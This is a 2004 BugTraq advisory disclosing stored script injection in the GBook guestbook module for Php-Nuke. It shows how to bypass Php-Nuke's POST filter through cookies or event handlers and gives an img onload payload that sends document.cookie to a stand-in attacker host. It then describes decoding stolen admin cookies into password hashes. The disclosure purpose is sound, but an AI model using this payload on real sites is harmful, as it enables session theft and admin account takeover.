BugTraq
[waraxe-2004-SA#001] - Script injection in GBook for Php-Nuke ver. 1.0 Feb 02 2004 09:31PM
Janek Vind (come2waraxe yahoo com)


{=======================================================================
=========}

{ [waraxe-2004-SA#001] }

{=======================================================================
=========}

{ }

{ [ Script injection in GBook for Php-Nuke ver. 1.0 ] }

{ }

{=======================================================================
=========}

Author: Janek Vind "waraxe"

Date: 02 Feb 2004

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is popular freeware content management system, written in php by

Francisco Burzi. GBook is guestbook module for Php-Nuke, created by Germán Cuevas

and Víctor Simental, http://www.php-mania.com.ar

Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Gbook script does`nt sanityze user input at all, so anybody, who can make entries

to guestbook, can inject there potentially hostile html tags. This can lead to

cookie stealing and extracting usernames and password md5 hashes for Php-Nuke.

Exploit:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Html tags can be injected on many places on guestbook entry - "name", "email",

"city","message", etc. Choose what you prefer.

Next, GBook uses POST request to submit data to server, but Php-Nuke itself has

filter for $_POST[] variables:

##### Php-Nuke 7.0 mainfile.php line 56 #######################################

foreach ($_POST as $secvalue) {

if ((eregi("<[^>]*script*\"?[^>]*>", $secvalue)) || (eregi("<[^>]*style*\"?[^>]*>", $secvalue))) {

die ("<center><img src=images/logo.gif><br><br><b>The html tags you attempted to use are not allowed

</b><br><br>[ <a href=\"javascript:history.go(-1)\"><b>Go Back</b></a> ]");

}

}

########################################################################
#######

So we can`t directly inject <script> tags to guestbook entry. But we have many

methods to bypass this filter. I will offer 2 methods:

1. We can use $_COOKIE array to transport variable with "<script>" tags to GBook

script. Yes, it`s true - Php-Nuke will not filter $_COOKIE array at all!

This can be done by manually editing browser cookies or by using speacially

crafted script.

2. There are many methods to use javascripting without <script> and <style> tags.

Example:

<img src="foobar" name="waraxe" width="1" height="1">

<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='

http://attacker.com/steal.php?stuff='+escape(document.cookie);">

Your message here...

Ok, we have now cookies from Php-Nuke users, hopefully from admin too, and we need to

extract usernames and password md5 hashes from them. Just find cookie fields named

"admin" and/or "user" and base64_decode() them!

Example php implementation can be found on url:

http://www.zone.ee/waraxe/sa001/steal.php

And finally - if we have usernames and password md5 hashes, we have many choices:

1. We can try to crack md5 hashes to reveal real password.

2. Modify browser cookie manually and then access Php-Nuke site with stolen ID.

3. If we have "superadmin"`s username and pwd md5 hash, then perl script

http://www.zone.ee/waraxe/sa001/god.pl.php

can create additional superadmin account for attacker.

Greetings:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to ulljobu, djzone, raider and to all computer freaks on Estonia!

Contact:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe (at) yahoo (dot) com [email concealed]

Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus